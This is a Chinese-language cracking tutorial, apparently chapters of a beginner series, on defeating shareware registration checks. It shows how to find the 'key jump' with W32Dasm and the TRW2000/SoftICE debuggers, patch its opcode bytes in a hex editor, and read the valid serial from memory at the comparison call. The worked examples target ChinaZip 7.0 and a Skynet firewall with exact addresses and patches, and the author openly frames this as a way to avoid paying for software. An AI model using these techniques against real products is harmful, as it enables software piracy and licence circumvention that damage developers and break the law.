所以当我们要通过那些十六进制工具来对可执行文件中的相应指令进行修改的话，先要找到它的File offset。我们没有必要去使用那些专门的转换工具，在W32Dasm中就有这个功能，比如说你W32Dasm中来到0045123D处，在W32Dasm界面下方的状态栏中?
004572E6 ... <--(注册失败处!!!)
...提示用户注册码不正确等相关信息
这次我相信，并且深信不疑。你一定明白了。我还是不明白...倒...
你一定看出跟第一种情况不同的地方了吧。没错！它与第一种不同的，就是第一种情况是如果注册码正确，就跳到注册成功处，如果没有跳走，就会执行到失败处。而这一种情况则是如果注册码不正确，就跳到注册失败处，否则将执行到注册成功处。
这种情况的修改，除了把JNZ改为JZ外，还可以将其改为Nop，Nop这个指令没有任何意义，将该条指令修改为Nop后，便可随意输入注册码来进行注册了。
原理以经给你讲了，下面我们再来讲一下具体的修改办法吧。（我假设你以经明白了我所说的工具的使用方法）
先说一下虚拟地址和偏移量转换的问题，在SoftICE和W32Dasm下显示的地址值是所谓的内存地址（memory offset），或称之为虚拟地址（Virual Address，VA）。而十六进制工具里，如：Hiew、Hex Workshop等显示的地址就是文件地址，称之为偏移量（File offset) 或物理地址(RAW offset)。
所以当我们要通过那些十六进制工具来对可执行文件中的相应指令进行修改的话，先要找到它的File offset。我们没有必要去使用那些专门的转换工具，在W32Dasm中就有这个功能，比如说你W32Dasm中来到0045123D处，在W32Dasm界面下方的状态栏中就会出现该条指令的虚拟地址和偏移地址，即@:0045123D @offset 0005063Dh 后面的这个0005063Dh就是相应的偏移地址。我们得到该地址后，便可用UltraEdit等十六进制工具来对可执行文件进行修改了。比如使用UltraEdit，你先用UltraEdit打开该可执行文件，然后按Ctrl+G，接着输入你得到的偏移地址，就可以来到其相应的机器码处。
再给你讲一下机器码，所谓的机器码。就是你看到的那些个十六进制数据了。还记的它们与汇编指令是一一对应的吗？
以下这几个是爆破时要用到的，其它的如果感兴趣，可自行查看相关资料：
JZ=74;JNZ=75;JMP=EB;Nop=90
爆破的时候，只要对以上机器码进行相应的修改就行了，比如第一种情况的时候，可以将74修改为EB，即将JZ修改为JMP。而第二种情况，责需将75修改为90，即将JNZ修改为Nop。
由于本章只讲原理，具体一点的。如怎样找到关键跳转等，我们在下一章中再讲。（一个砖头飞了上来！嘿嘿，这次被俺接到了）
上边讲了爆破的原理，你需要明白的是。爆破只是你学习Crack的开始，是很简单的手段。刚入门的时候可以玩玩儿，但希望你不要就此不前！
（嘿嘿，再说了。人家的软件中不是都说了嘛，不准对其进行逆向修改。你动了人家的身子，怎么能不买帐呢？ ）
偶就不喜欢爆破，做不出注册机也要找出注册码。否则我就不会去注册这个软件，既然想不掏钱，就要靠你自己的本事。（等以后我有钱了，会考虑去注册那些优秀的共享软件的 ）。所以，从某种意义上来说，我是一个正人君子
其实要找到注册码并不是一件多么难的事，我是指你所针对的软件不太那个的时候 不过你无需惧怕。
刚才我们说爆破的时候不提到过关键CALL吗？一般情况下，这个关键CALL就是对两个注册码（一个是软件自身通过你的注册名或机器什么的计算出来的正确的注册码，令一个就是你输入的错误的注册码）进行比较。我前边提到过，CALL之前一般会把所用到的数据先放到一个地方，CALL过去的时候再从这些地方把先前放入的数据取出来，进行相应的处理。这个关键CALL也是这样，在CALL之前，一般会把那两个注册码放到堆栈或某个寄存器中。嘿嘿，我们只要在调试器中，单步执行到该CALL，在未进去之前通过CALL之前的指令判断其将正确的和不正确的注册码放到哪里了。然后再用相应指令进行查看就成了，我说过不难的。
下面列出两个最常见的情况（可参考相关教程）：
no.1
mov eax [ ] 这里可以是地址，也可以是其它寄存器
mov edx [ ] 同上，该条指令也可以是pop edx
call 00?????? 关键call
test eax eax
jz(jnz)或jne(je) 关键跳转
看明白了吧，在关键CALL之前，软件会把两个注册码分别放入eax和edx中，你只要在CALL处下d eax或d edx就能看到正确的注册码了。
no.2
mov eax [ ] 这里可以是地址，也可以是其它寄存器
mov edx [ ] 同上，该条指令也可以是pop edx
call 00?????? 关键call
jne(je) 关键跳转
以上两种情况最为常见，而那些个不太常见的情况，我们这里就不再提了。到下下一章的时候，我会给你讲相关方法的...
关于查找软件注册码的部分，就到这里。具体内容，下下一章咱们再说。(不是说了吗？我以经可以接到你的砖头了，干嘛还要丢呢？ )
最后，再来说最后的所谓的高级阶段，如果你相信自己。并且热爱Crack，那么你一定会熬到这个阶段的，只是时间因人而异。
其实分析软件的算法，是有好多技巧在里面的。呵呵，最起码我刚开始的时候就摸不着头脑，那么多CALL，每个看起来，都很重要，都追一遍？结果连好多API都被追了进去。等你自己真正用心分析了一个软件的算法，并写出了注册机后。你就会明白其中的道理了，我们下下下一章再说。（大哥，你不是吧，连你家太阳能都丢过来了 ）
——————————
第六章--爆破软件
爆破其实很简单，最起码比你能一下把你家的牙膏给全挤出来要容易多了。你只要先到大街上买几根雷管，然后放到你的显示器上再点着就OK了(不难吧，记的点着后跑远点儿)
爆破的原理我也说过了，相信你很容易就能理解了。我们今天就具体讲一下如何找到那个关键跳转以及如何才能买到即便宜又好用的雷管...
爆破一个软件一般只需要很少的几个步骤，首先先看一下其有无加壳，有的话是用何工具加的壳，知道了以后用相应的工具将其脱掉或进行手工脱壳，参考以有教程。接着我们就可以对脱过壳之后的软件来开刀了。你有两种选择，用W32Dasm或调试器，一般如果你遇上的是那种很菜的软件的话，用W32Dasm就可以搞定了。如果遇上的不是那种比较菜的，就买股票吧，因为股票是你如胶似漆的妻子！当！快醒醒啊...哦，一般如果你遇上的不是那种很菜的软件的话，就用调试器吧。先来说W32Dasm：我们首先用W32Dasm来进行反汇编（废话！）之后在串式参考中找到错误提示信息或可能是正确的提示信息双击鼠标左键来到相应的地址处。在W32Dasm的主窗口中分析相应汇编代码,找出关键跳转和关键call。绿色光条停在关键跳转,在W32Dasm主窗口底部找到关键跳转的偏移地址(实际修改地址)。用ultraedit找到偏移地址(实际修改地址)修改机器码(或放上一根雷管),保存(点火)！而用调试器也同样简单，等会儿会详细说明。
道理废话了那么多，来实例动手说明吧：
首先讲解用W32Dasm来进行爆破:
【软件名称】中华压缩（ChinaZip）
【软件版本】7.0
【文件大小】1041KB
【适用平台】Win9x/Me/NT/2000
【软件简介】ChinaZip（中华压缩）是一款压缩、解压各种压缩文档的工具软件，它支持包括ZIP格式文件在内的各种常见压缩格式如：ARJ、CAB、GZIP、JAR、LHA、TAR、ZOO、ARC、LZH、Pak等等。
软件的出处是电脑报2001年的合订本配套光盘，7.0时的保护做的很那个，目前版应该好多了...
好的，我们开始吧，首先第一步是你得把它装上（引来野狼N头），之后先随便找个字符串填上去注册一下，会看到一个错误对话框，提示"注册码不正确，无法注册"。接着我们用FI来看一下它用的是什么壳。ASPack 2.001，caspr出场。脱过壳后我们用W32Dasm花上半分钟或半小时的时间来对它进行反汇编。我们以经反汇编完毕。之后在串式参考中（字符串数据参考）中找刚才你看到的那个错误提示，找到之后双击几次，发现其只有一处调用。我们会来到004F0E64处，我把具体代码给贴上（请你从代码的最下边开始看）:
:004F4DD1 E84EE1F3FF call 00432F24
:004F4DD6 8B55F0 mov edx, dword ptr [ebp-10]
:004F4DD9 8D4DF4 lea ecx, dword ptr [ebp-0C]
:004F4DDC 8BC3 mov eax, ebx
:004F4DDE E8C9010000 call 004F4FAC
:004F4DE3 8B55F4 mov edx, dword ptr [ebp-0C]
:004F4DE6 58 pop eax
:004F4DE7 E830F3F0FF call 0040411C
:004F4DEC 7576 jne 004F4E64 <--这个就是传说中的男人，Stop！这个就是传说中的关键跳转
:004F4DEE B201 mov dl, 01
:004F4DF0 A158254500 mov eax, dword ptr [00452558]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004F4D86(C)
|
:004F4DF5 E85ED8F5FF call 00452658
:004F4DFA 8945FC mov dword ptr [ebp-04], eax
:004F4DFD 33C0 xor eax, eax
:004F4DFF 55 push ebp
:004F4E00 685D4E4F00 push 004F4E5D
:004F4E05 64FF30 push dword ptr fseax]
:004F4E08 648920 mov dword ptr fseax], esp
:004F4E0B B101 mov cl, 01
* Possible StringData Ref from Code Obj ->"Software\XDZHAN\ChinaZip"
|
:004F4E0D BAA84E4F00 mov edx, 004F4EA8
:004F4E12 8B45FC mov eax, dword ptr [ebp-04]
:004F4E15 E822DAF5FF call 0045283C
* Possible StringData Ref from Code Obj ->"Real Programmers Use Pascal!"
|
:004F4E1A B9CC4E4F00 mov ecx, 004F4ECC
* Possible StringData Ref from Code Obj ->"Key"
|
:004F4E1F BAF44E4F00 mov edx, 004F4EF4
:004F4E24 8B45FC mov eax, dword ptr [ebp-04]
:004F4E27 E854DEF5FF call 00452C80
* Possible StringData Ref from Code Obj ->"软件注册成功,谢谢您的支持!" <--我们向上看会在这里发现注册成功后的正确信息。正确信息处向上找第一个跳转就是我们要找的关键跳转。
|
:004F4E2C B8004F4F00 mov eax, 004F4F00
:004F4E31 E8563DF6FF call 00458B8C
:004F4E36 A16C305000 mov eax, dword ptr [0050306C]
:004F4E3B 8B00 mov eax, dword ptr [eax]
* Possible StringData Ref from Code Obj ->"中华压缩(ChinaZip)-注册版"
|
:004F4E3D BA244F4F00 mov edx, 004F4F24
:004F4E42 E80DE1F3FF call 00432F54
:004F4E47 33C0 xor eax, eax
:004F4E49 5A pop edx
:004F4E4A 59 pop ecx
:004F4E4B 59 pop ecx
:004F4E4C 648910 mov dword ptr fseax], edx
:004F4E4F 686E4E4F00 push 004F4E6E
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004F4E62(U)
|
:004F4E54 8B45FC mov eax, dword ptr [ebp-04]
:004F4E57 E868E2F0FF call 004030C4
:004F4E5C C3 ret

:004F4E5D E9C2E9F0FF jmp 00403824
:004F4E62 EBF0 jmp 004F4E54
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004F4DEC(C)
|
* Possible StringData Ref from Code Obj ->"注册码不正确,无法注册!" <--这个就是出错的信息了，那正确信息也就在附近，上下看看。
|
:004F4E64 B8484F4F00 mov eax, 004F4F48 <--双击来到这里
:004F4E69 E81E3DF6FF call 00458B8C
:004F4E6E 33C0 xor eax, eax
:004F4E70 5A pop edx
:004F4E71 59 pop ecx
:004F4E72 59 pop ecx
:004F4E73 648910 mov dword ptr fseax], edx
:004F4E76 689B4E4F00 push 004F4E9B
你可能有点不明白，为什么我说它就是关键跳转呢？还记的在破解原理中我举的例子吗？
我再给你讲一遍好了，通常我们会遇到两种关键跳转，我分别举例说明:
(1)
je (jne,jz,jnz) 19870219
........ XXXXXXXXXX
........ XXXXXXXXXX
........ 软件注册正确的相关信息
...
...
19870219 软件的出错信息
.......
.......
也就是说这第一种情况是先判断注册码是否正确，如果不正确就跳到19870219处，正确的话就不跳转，一直执行下去，直至注册正确处。
对于这种情况，我们要找的关键跳转，就是正确信息上面的第一个跳转。我们可能对其作相应修改或将其给nop掉就万事OK了。
(2)
je (jne,jz,jnz) 19870219
........ XXXXXXXXXX
........ XXXXXXXXXX
........ 软件的出错信息
...
...
19870219 软件注册正确的相关信息
.......
.......
而这第二种情况就是先判断注册码正确与否，如果正确就跳到19870219处，不正确的话就不跳转，一直执行下去，直至出错处。
对于这种情况，我们要找的关键跳转就是出错信息上面的第一个跳转。将其做相应修改或改为jmp后我们就可以为所欲为了
呵呵，道理也都给你讲明白了，我们来改一下试试吧。我们在W32Dasm中选中关键跳转，在右下角的状态栏中看到相应的偏移地址为000F41EC。好的，我们用UltraEdit来打开它。Ctrl+G，接着输入0xF41EC，回车后便会跳到相应的位置。相应的机器码是75(jne)，我们将其改为74(jz)后存盘退出。
好了，运行一下看看，我们来随便输入一个注册码注册一下试试。呵呵，注册成功！
用W32Dasm我们就讲到这里，呵呵，很简单的，你下去之后自己找些保护简单的软件上上手吧。
我们接着来讲用调试器来进行爆破。
如果你真的试图用W32Dasm去爆破几个软件的话，用不了多少时间你就会发现一些问题。比如说有的软件你用W32Dasm反汇编后串式参考根本就不能用。或者串式参考中没有出错或正确的信息。还有就是有的软件就算你通过串式参考来到了相应的地方，刚想去找关键跳转你就会发现眼前的东西比你想像中的要乱的多...虽然你有可能通过认真仔细地找，仍会找到，但我不认为那是一件聪明的事情。毕竟，有一些动静是只有在程序执行期间才能看出来的。好的，如果你用W32Dasm遇到了找不到关键跳转的软件，就去用调试器吧！（你用调试器前可先用W32Dasm打开一遍看个先，如果很容易就让你找到了。那就没必要了）
在开始之前我们有必要讲一下用调试器来爆破的步骤（我知道你一定会用调试器的 ）：首先，我们当然还是要把你要Crack的软件给装上（我挡我挡我挡，不要乱丢东西嘛!）然后来到输入注册码的地方，仍旧随便输入一个，接着不要按确定，待我们把调试器叫出来先。还记的我前面跟你讲的API的事情吗？软件要得到你输入的注册码，就一定会调用某个API函数来达到目的。我们就在调试器中用相应的API来做断点，这样的话，只要一有程序调用这个API，就会被调试器给拦截下来。
GetDlgItemInt、GetDlgItemText、GetDlgItemTextA这三个函数可能会有用。但是如果你用的是98，那为什么不用hmemcpy呢？那真的是一个不错的主意。当我们下完断点后就返回到你要注册的那个软件中，点确定这类的按钮。如果被调试器给断了下来，就说明你刚才下的断点有用，如果没有被断下来，就换个断点试试。接下来我们在调试器中来取消刚才你下的那个断点，我们以TRW2000为例（SoftICE与其操作大体相同）取消断点用bc *指令。然后我们就输入pmodule指令来返回到程序的领空（而在SoftICE中由于没有相应指令，呵呵，狂按F12吧）。现在我们把话题岔开一下，什么是领空呢？举个例子吧，你的程序要得到你输入的那个注册码，就会去调用相应的函数。比如调用GetDlgItemTextA，而GetDlgItemTextA本身又会去调用Hmemcpy这个函数，而这些函数都是存在于系统中的某个DLL文件中的。那么当这个程序调用相应的API函数的话，程序的领空就会转到这个相应的DLL文件中去执行这个API函数。（你就这样理解就行了）我前边也说过了，Hmemcpy这个函数应用程序本身并不直接调用，而是由其它的API函数来调用。那么，你就可以理解为你的程序调用了一个API函数，调用的同时程序的领空会转到这个API所在的DLL文件里，而这个API又调用了Hmemcpy函数，那么此时领空就会又转到了Hmemcpy所在的DLL文件中，之后当Hmemcpy执行完毕，就会返回到调用它的API的领空中去，而当这个API执行完毕的后就会返回到调用它的应用程序的领空中去。比如说我们用Hmemcpy这个函数来当断点，当我们输入完注册码按确定后，程序就会去调用某个API来得到你输入的那些数据，而这“某个API”又会去调用Hmemcpy，所以程序就被断到了。当然此时程序的领空也就不会在应用程序中了，但是当我们输入过pmodule指令之后我们就可以反回到应用程序本身的领空中去了。这样的话你看到的就是应用程序自身的代码了，而不是API的！好了，我接着刚才的说（到哪儿了来着？）当我们返回到程序自身的领空中去后就一直狂按F12吧，F12的作用是一直执行程序，直到遇上ret等指令。也就是一大坨一大坨地来执行程序^_^你一直按F12，直到程序出现注册错误对话框。然后记下刚才你按的次数，接着从头做起，这一次按F12的次数是你刚才按的次数-1，也就是说比上一次要少按一次。而后按键由F12换至F10（怎么没有F4?），还是一路狂按，直到软件提示出错，这次记下你按F10的次数。好的，再从头来一遍，我们再次按F10的时候，要一步一步慢慢来，一般你按F10的次数离你上次按的次数相差五六步的时候，一般就会看见一个CALL，接着是一个跳转指令。你一步一步地来，看过了这个跳转指令之后会不会跳走，如果跳走了，那一般你不会再过两三步就应该出错了。当然也有可能是你没有跳走，而过了两三步就出错了。这个应该不难理解，因为基本上它和我前边跟你介绍过的是一个道理。然而另外一种情况是你一路按F10下来，到了最后会发现根本没什么跳转指令，呵呵，别害怕，这个很常见的。遇上这种情况，我们只要把F10的次数变换为上次按F10的次数-1，这样的话你一般就会停在一个CALL处，而这个CALL，就是程序中的关键CALL，我们之后要吃点儿苦，要按F8追进去分析它，程序注册的成功与失败，就在这个CALL中，也就是说我们要修改的关键跳转，也在这个CALL中。呵呵，其实也很好理解的，就是把我上边说的那些个判断什么地放到了一个CALL里面。我们按F8追进去之后便仍旧按F10来一步一步执行，过不了多长时间你就会发现关键跳转了，找关键跳转的方法跟我前边说的一样，即按F10的次数跟上一次差五六步的时候慢下来，就会看到了。
你应该明白，程序是很灵活的东西，并没有那么多公式化的东西在里边，大概的分析方法就是这个样子，一切都要靠你自己去掌握，别人跟你讲，也只是讲一个分析的方法而以，我相信随着你以后经验的提高，你慢慢地就能应付各种情况了。
现在，我们再用调试器来对CHINAZIP这个软件进行分析，希望你能够掌握这个并不难的方法。
首先，你要把刚才爆破过了的再改回来，或直接重装一遍。之后我们打开它，任意输入注册码，接着按Ctrl+N呼出TRW，下断点hmemcpy。下过后按F5退出（它就是不用F4，我也没办法^_^）然后我们点击确定。好的，程序被断了下来:
KERNEL?HMEMCPY
0147:9e62 push bp
0147:9e63 mov bp,sp
0147:9e65 push ds
0147:9e66 push edi
0147:9e68 push esi
0147:9e6a cld
0147:9e6b mov ecx,[bp+06]
0147:9e6f jcxz 9ee9
……以下N多代码省略……
我们输入bc *来取消断点，然后用pmodule来返回到程序的领空:
0167:00436d13 mov [ebx+0c],eax
0167:00436d16 mov eax,[ebx]
0167:00436d18 cmp eax,byte +0c
0167:00436d1b jnz 00436d38
0167:00436d1d mov edx,[ebx+08]
0167:00436d20 push edx
0167:00436d21 mov ecx,[ebx+04]
0167:00436d24 mov edx,eax
0167:00436d26 mov eax,esi
0167:00436d28 call 00432b24
……N多代码仍旧省略……
按7下F12另加1下F10来到0167:004f4dc4处，我们接着一下一下来按F10，大概按了10多下，就可以看到004f4dec处有一个跳转，我们执行到004f4dec处后果然跳走了。会跳到004f4e64处，我们跳过去之后按不了三下，程序就提示出错了。呵呵，明白过来了吧，004f4dec处的那个跳转jnz 004f4e64就是关键跳转，嘿嘿，找到了之后不用我说了吧
0167:004f4dc4 mov eax,[ebp-08]
0167:004f4dc7 push eax
0167:004f4dc8 lea edx,[ebp-10]
0167:004f4dcb mov eax,[ebx+02e0]
0167:004f4dd1 call 00432f24
0167:004f4dd6 mov edx,[ebp-10]
0167:004f4dd9 lea ecx,[ebp-0c]
0167:004f4ddc mov eax,ebx
0167:004f4dde call 004f4fac
0167:004f4de3 mov edx,[ebp-0c]
0167:004f4de6 pop eax
0167:004f4de7 call 0040411c
0167:004f4dec jnz 004f4e64 <--关键跳转！！
0167:004f4dee mov dl,01
0167:004f4df0 mov eax,[00452558]
0167:004f4df5 call 00452658
0167:004f4dfa mov [ebp-04],eax
0167:004f4dfd xor eax,eax
0167:004f4dff push ebp
0167:004f4e00 push dword 004f4e5d
0167:004f4e05 push dword [fs:eax]
0167:004f4e08 mov [fs:eax],esp
0167:004f4e0b mov cl,01
0167:004f4e0d mov edx,004f4ea8
再来给你举另一个例子：
【软件名称】天网防火墙
【软件版本】2.46 Beta
【文件大小】1289KB
【适用平台】Win9x/Me/NT/2000
【软件简介】天网防火墙个人版是一套给个人电脑使用的网络安全程序，它可以帮你抵挡网络入侵和攻击，防止信息泄露，并可与我们的网站相配合，根据可疑的攻击信息，来找到攻击者。同时天网防火墙个人版把网络分为本地网和互联网，可以针对来自不同网络的信息，来设置不同的安全方案，它适合于在拨号上网的用户，也适合通过网络共享软件上网的用户。
该软件仍旧是我从电脑报2001年合订本的配套光盘中找的，软件的注册码可以到其网站获得...
我们还是要先把它装上（某民工：你小子敢再说一句废话试试！^_^）之后我们用FI看一下它有没有加壳，呵呵，BC++编译，没有加壳，爽！运行它，在注册对话框中随便输入点什么，比如说这星期又出了几部新电影，都叫什么名字等等...
好的，我们接下来请TRW2000出场。先胡乱输入两个字符串，比如第一个输入“英雄的导演是？”第二个输入“可能是赵本山”
接下来就按Ctrl+N把TRW2K叫出来，下bpx hmemcpy，之后按F5退出。
接着可以按确定就成了，程序会被TRW2K断掉，我们紧接着输入bc *以及pmodule。
下面可以开始按F12了，一共按8下程序就会报错，我们第二次就按7下然后开始按F10，按70下F10程序就又报错了（呵呵，一定要有耐心哦）。
好的，我把反汇编后的代码给你贴出来：
0167:0041c617 lea edx,[ebp-04] <--7下F12后按一下F10来到这里
0167:0041c61a mov ecx,[0052ae7c]
0167:0041c620 mov eax,[ecx]
0167:0041c622 mov eax,[eax+0318]
0167:0041c628 add eax,byte +2c
0167:0041c62b call 00517740
0167:0041c630 dec dword [ebp-20]
0167:0041c633 lea eax,[ebp-04]
0167:0041c636 mov edx,02
0167:0041c63b call 00517710
0167:0041c640 mov word [ebp-2c],14
0167:0041c646 lea eax,[ebp-08]
0167:0041c649 call 00401d60
0167:0041c64e mov edx,eax
0167:0041c650 inc dword [ebp-20]
0167:0041c653 mov ecx,[ebp-40]
0167:0041c656 mov eax,[ecx+02e0]
0167:0041c65c call 004b9f14
0167:0041c661 lea edx,[ebp-08]
0167:0041c664 mov ecx,[0052ae7c]
0167:0041c66a mov eax,[ecx]
0167:0041c66c mov eax,[eax+0318]
0167:0041c672 add eax,byte +30
0167:0041c675 call 00517740
0167:0041c67a dec dword [ebp-20]
0167:0041c67d lea eax,[ebp-08]
0167:0041c680 mov edx,02
0167:0041c685 call 00517710
0167:0041c68a lea eax,[ebp-10]
0167:0041c68d call 00401d60
0167:0041c692 mov edx,eax
0167:0041c694 inc dword [ebp-20]
0167:0041c697 mov ecx,[ebp-40]
0167:0041c69a mov eax,[ecx+02e0]
0167:0041c6a0 call 004b9f14
0167:0041c6a5 lea edx,[ebp-10]
0167:0041c6a8 push dword [edx]
0167:0041c6aa mov word [ebp-2c],20
0167:0041c6b0 lea eax,[ebp-0c]
0167:0041c6b3 call 00401d60
0167:0041c6b8 mov edx,eax
0167:0041c6ba inc dword [ebp-20]
0167:0041c6bd mov ecx,[ebp-40]
0167:0041c6c0 mov eax,[ecx+02d4]
0167:0041c6c6 call 004b9f14
0167:0041c6cb lea edx,[ebp-0c]
0167:0041c6ce mov edx,[edx]
0167:0041c6d0 mov eax,[0052ae7c]
0167:0041c6d5 mov eax,[eax]
0167:0041c6d7 pop ecx
0167:0041c6d8 call 0040525c
0167:0041c6dd mov [ebp-45],al
0167:0041c6e0 dec dword [ebp-20]
0167:0041c6e3 lea eax,[ebp-10]
0167:0041c6e6 mov edx,02
0167:0041c6eb call 00517710
0167:0041c6f0 dec dword [ebp-20]
0167:0041c6f3 lea eax,[ebp-0c]
0167:0041c6f6 mov edx,02
0167:0041c6fb call 00517710
0167:0041c700 cmp byte [ebp-45],00
0167:0041c704 jz 0041c750 <--按了60多下F10后会在这里发现一个跳转，嘿嘿，就是它了！！！
0167:0041c706 mov ecx,[0052ae7c]
0167:0041c70c mov eax,[ecx]
0167:0041c70e mov eax,[eax+0318]
0167:0041c714 call 00411fd0
0167:0041c719 mov word [ebp-2c],2c
0167:0041c71f mov edx,00521b50
0167:0041c724 lea eax,[ebp-14]
0167:0041c727 call 005175b0
0167:0041c72c inc dword [ebp-20]
0167:0041c72f mov eax,[eax]
0167:0041c731 call 004b41b0
0167:0041c736 dec dword [ebp-20]
0167:0041c739 lea eax,[ebp-14]
0167:0041c73c mov edx,02
0167:0041c741 call 00517710
0167:0041c746 mov eax,[ebp-40]
0167:0041c749 call 004a81d0
0167:0041c74e jmp short 0041c77d
0167:0041c750 mov word [ebp-2c],38
0167:0041c756 mov edx,00521b6b
0167:0041c75b lea eax,[ebp-18]
0167:0041c75e call 005175b0
0167:0041c763 inc dword [ebp-20]
找到了关键跳转之后就别闲着了，呵呵，放雷管吧！（你可以用W32Dasm打开这个文件，然后按Shift+F12，之后输入0041c704，这样就可以在右下角看到相应的偏移地址了）
小技巧：在TRW中，如果你觉的某处可能是关键跳转的话，可以用r fl z这个指令来进行测试，该指令可使以成立的条件取反，比如说本来JZ XXXXXXXX成立，可以跳走了，用r fl z指令后该条指令就不成立了，即就不会跳走了。以上也是，你可以在0041c704处输入r fl z，呵呵，再执行几步看看，是不是成功了？还有就是如果你只是想达到注册软件的目的，且该软件只在注册的时候验证一次的话，用这个方法就可以代替雷管了！
呵呵，最后还是要说一句，爆破只是一些雕虫小技。刚入门时玩几次就够了，切莫就此不前...
后话：你可能慢慢就会发现，有一些软件其实并没有你想象中那么简单，你甚至连找到它的关键跳转都找不到。这很正常，你要做的便是多动手多练习，慢慢你就会明白过来的。我今天之所以给你举这两个例子，就是因为它们两个都比较简单，且能说明重点，给你讲那些比较那个的软件的爆破，反而会让你看的一头雾水...
第七章-寻找软件的注册码
我们来寻找软件真正的注册码！
寻找软件的注册码就像你小时玩的躲猫猫一样，简单又有趣，虽然后来你会不这样觉的
好的，我们开始。
我不知道你有没有明白我前面在原理中讲的那些东西，如果没明白，我就再说一遍
软件通过你输入的用户名或者机器码什么的生成一个正确的注册码来与你输入的注册码进行比较，如果两个相同，也就是说你输入的注册码是正确的话，那软件就会完成注册。如果你输入的不正确，嘿嘿，当然就不会注册成功。
好的，现在你已经知道软件会有一个比较两个注册码的过程，这就是关键所在。一般如果你遇到的是那种明码比较的软件，这会是一件非常另人愉快的事情的
软件会先计算出正确的注册码然后再与你输入的那个进行比较，也就是说正确的注册码会被软件自己算出来!嘿嘿，搜身你会吗？虽然法律以及道德不允许我们去搜身，但…
我接着说，虽然现在的软件已经比以前要厉害上许多，但，那种用明码比较的，还是大有人在的。所谓明码比较，就是说软件先算出正确的注册码，然后放到内存或你家的沙发下面，之后再得到你输入的那个注册码，接着就比较了。呵呵，好理解吧，我们只要找到那个比较的地方，看一下软件把注册码放到内存的哪里了，再到相应的内存处瞧一瞧，就万事OK了！
还记的对你说过的那些常见的（也是最菜的）比较吗？我捡其中最简单的一个来给你再解释一下：
mov eax [ ] 这里可以是地址，也可以是其它寄存器 该条指令也可以是mov eax [ ]
mov edx [ ] 同上 通常这两个地址就储存着重要信息 该指令也可以是 pop edx
call 00?????? 关键call
jz(jnz)或 jne(je) 关键跳转
第一条mov eax [ ]指令是将一个内存地址或另外一个寄存器（该寄存器中装的是内存地址）装入eax中。第二条指令与其相同，是将一个内存地址或另外一个寄存器中的内存地址装入edx中。而这两条指令是干什么的呢？嘿嘿嘿嘿…
这两条指令就是用来存放真假两个注册码的地址的，也就是说eax和edx这两个寄存器中此时一个装的是正确的注册码的内存地址，一个是你输入的那个错误的注册码的内存地址。软件在比较注册码前将两个注册码的内存地址分别装入到两个寄存器中，然后就是关键Call出场。在这个关键Call中对注册码进行比较时，软件会从相应的寄存器中取出两个注册码来比较，接着出来就是一个关键跳转，通过上面Call中的比较结果来做相应的跳转…
你应该已经想到什么了吧！没错，我们只要找到软件的关键Call，然后在关键Call处来查看相应的内存地址就可以找到正确的注册码了 而这一切，都可以通过调试器来完成。从某种意义上来说，如果你能自己一个人把你家的微波炉修好，那你就绝对会用调试器 我们在调试器中，只要一步一步执行到关键Call处，然后用d eax和d edx就可以查看两个地址中放的两个注册码，如果你发现其中的一个是你自己刚才输入的，那么另一条就是正确的
而所谓的内存注册机呢？我这里就不再多说了，它的原理就是自动在软件注册的时候中断到相应的地方，并显示相应内存处的值，当然它是需要配置的... 此类软件有CRACKCODE2000和注册机编写器keymake，具体用法你可以参考软件的联机帮助^_^
我们剩下的问题就是如何来找个这关键Call了，基本上来说你就用前边给你讲爆破时的那种方法就可以了，很简单的
但是就像你家后门的玻璃可能永远擦不干净一样，我们家后门的玻璃也从来没擦干净过 导演:NG！重说，就像所有事情都有例外一样，有些软件的关键Call会比较难找一点，但如果你掌握了适当的方法，同样也会很好找的...
我们就来玩玩吧:
首先，我们还来用CHINAZIP这个软件上上手^_^
它已经是我们的老朋友了，所以就不用再介绍它了吧
好的，我们先装上它（嘿嘿，偶就是喜欢说废话，你打偶偶也要说^_^）接着我们点帮助-注册，输入Nameuunb[CCG],Code:19870219
然后请出我们的老伙计TRW2000,下bpx hmemcpy 按F5点确定被拦:
KERNEL?HMEMCPY
0147:9e62 push bp
0147:9e63 mov bp,sp
0147:9e65 push ds
0147:9e66 push edi
0147:9e68 push esi
0147:9e6a cld
0147:9e6b mov ecx,[bp+06]
0147:9e6f jcxz 9ee9
...省略N多代码...
输入bc *,删除断点。pmodule ,直接跳到程序领空:
0167:00436d13 mov [ebx+0c],eax
0167:00436d16 mov eax,[ebx]
0167:00436d18 cmp eax,byte +0c
0167:00436d1b jnz 00436d38
0167:00436d1d mov edx,[ebx+08]
0167:00436d20 push edx
0167:00436d21 mov ecx,[ebx+04]
0167:00436d24 mov edx,eax
0167:00436d26 mov eax,esi
0167:00436d28 call 00432b24
...省略N多代码...
按8下F12就会提示出错，我们第二次就按7次 接着我们再来按F10，按16下就会报错，好的，我们再来:这一次我们按F10的时候，就按我前边说过的方法，到与上次按的次数相差五六次的时候就慢下来。好的，我们按十来下的时候就慢下来仔细瞅瞅，呵呵，一下子就看到004f4dec处的那个跳转以及它上面的关键CALL了 我们按F10单步执行到004f4de7处(即关键CALL处)后下指令d edx就可看到真正的注册码，而d eax则可以看到我刚才输入的19870219 代码给你:
0167:004f4dc4 mov eax,[ebp-08] <---7下F12，1下F10就来到这里(此时ebp-08处放的是刚才输入的注册码19870219)
0167:004f4dc7 push eax <---将EAX压栈;
0167:004f4dc8 lea edx,[ebp-10]
0167:004f4dcb mov eax,[ebx+02e0]
0167:004f4dd1 call 00432f24 <---该CALL用来得到用户输入的用户名，其实就是某个API函数，嘿嘿，好奇的话可以追进去看看
0167:004f4dd6 mov edx,[ebp-10] <---将得到的用户名放入EDX;
0167:004f4dd9 lea ecx,[ebp-0c]
0167:004f4ddc mov eax,ebx
0167:004f4dde call 004f4fac <---该CALL用来计算出真正的注册码;
0167:004f4de3 mov edx,[ebp-0c] <---将计算出的真.注册码放入EDX,在下条指令时可用D EDX查看;
0167:004f4de6 pop eax <---先前压入的注册码出栈;
0167:004f4de7 call 0040411c <---该CALL用来比较两个注册码，罪魁祸首啊!;
0167:004f4dec jnz 004f4e64 <---不相等则跳,跳必死，暴破将75改为74或EB,当然90也行;
0167:004f4dee mov dl,01
0167:004f4df0 mov eax,[00452558]
0167:004f4df5 call 00452658
0167:004f4dfa mov [ebp-04],eax
0167:004f4dfd xor eax,eax
0167:004f4dff push ebp
0167:004f4e00 push dword 004f4e5d
0167:004f4e05 push dword [fs:eax]
